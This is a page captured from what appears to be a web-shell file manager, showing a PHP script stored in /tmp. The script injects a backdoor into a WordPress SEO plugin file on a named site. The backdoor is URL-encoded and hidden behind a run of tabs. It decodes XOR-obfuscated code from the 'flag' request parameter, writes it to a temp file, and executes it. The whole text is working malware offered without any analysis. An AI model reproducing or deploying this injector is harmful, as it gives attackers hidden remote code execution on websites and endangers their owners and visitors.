D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
tmp
/
Filename :
.multi
back
Copy
<?php $path = '/home/diafdxji/wakcars.com/wp-content/plugins/wordpress-seo/admin/services/class-file-size.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('if%28array_key_exists%28%22f%5Cx6Ca%5Cx67%22%2C%20%24_REQUEST%29%20%26%26%20%21is_null%28%24_REQUEST%5B%22f%5Cx6Ca%5Cx67%22%5D%29%29%7B%20%24pointer%20%3D%20array_filter%28%5B%22/var/tmp%22%2C%20getcwd%28%29%2C%20getenv%28%22TEMP%22%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20session_save_path%28%29%2C%20getenv%28%22TMP%22%29%2C%20%22/dev/shm%22%2C%20sys_get_temp_dir%28%29%2C%20%22/tmp%22%5D%29%3B%20%24factor%20%3D%20hex2bin%28%24_REQUEST%5B%22f%5Cx6Ca%5Cx67%22%5D%29%3B%20%24data%20%3D%20%27%27%20%3B%20foreach%28str_split%28%24factor%29%20as%20%24char%29%7B%24data%20.%3D%20chr%28ord%28%24char%29%20%5E%2086%29%3B%7D%20foreach%20%28%24pointer%20as%20%24comp%29%3A%20if%20%28max%280%2C%20is_dir%28%24comp%29%20%2A%20is_writable%28%24comp%29%29%29%20%7B%20%24tkn%20%3D%20join%28%22/%22%2C%20%5B%24comp%2C%20%22.entry%22%5D%29%3B%20if%20%28file_put_contents%28%24tkn%2C%20%24data%29%29%20%7B%20include%20%24tkn%3B%20%40unlink%28%24tkn%29%3B%20die%28%29%3B%20%7D%20%7D%20endforeach%3B%20%7D'); if (strstr($content, $new_code)) { die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { if (substr($content, 0, strlen($start)) == $start) { $content = substr($content, strlen($start)); $content = $start.str_repeat("\t", 42).$new_code."\n".$content; if (file_put_contents($path, $content)) { $content = file_get_contents($path); if (strstr($content, $new_code)) { die("!success!<ft>{$ft}</ft>"); } } } } die('!failed!');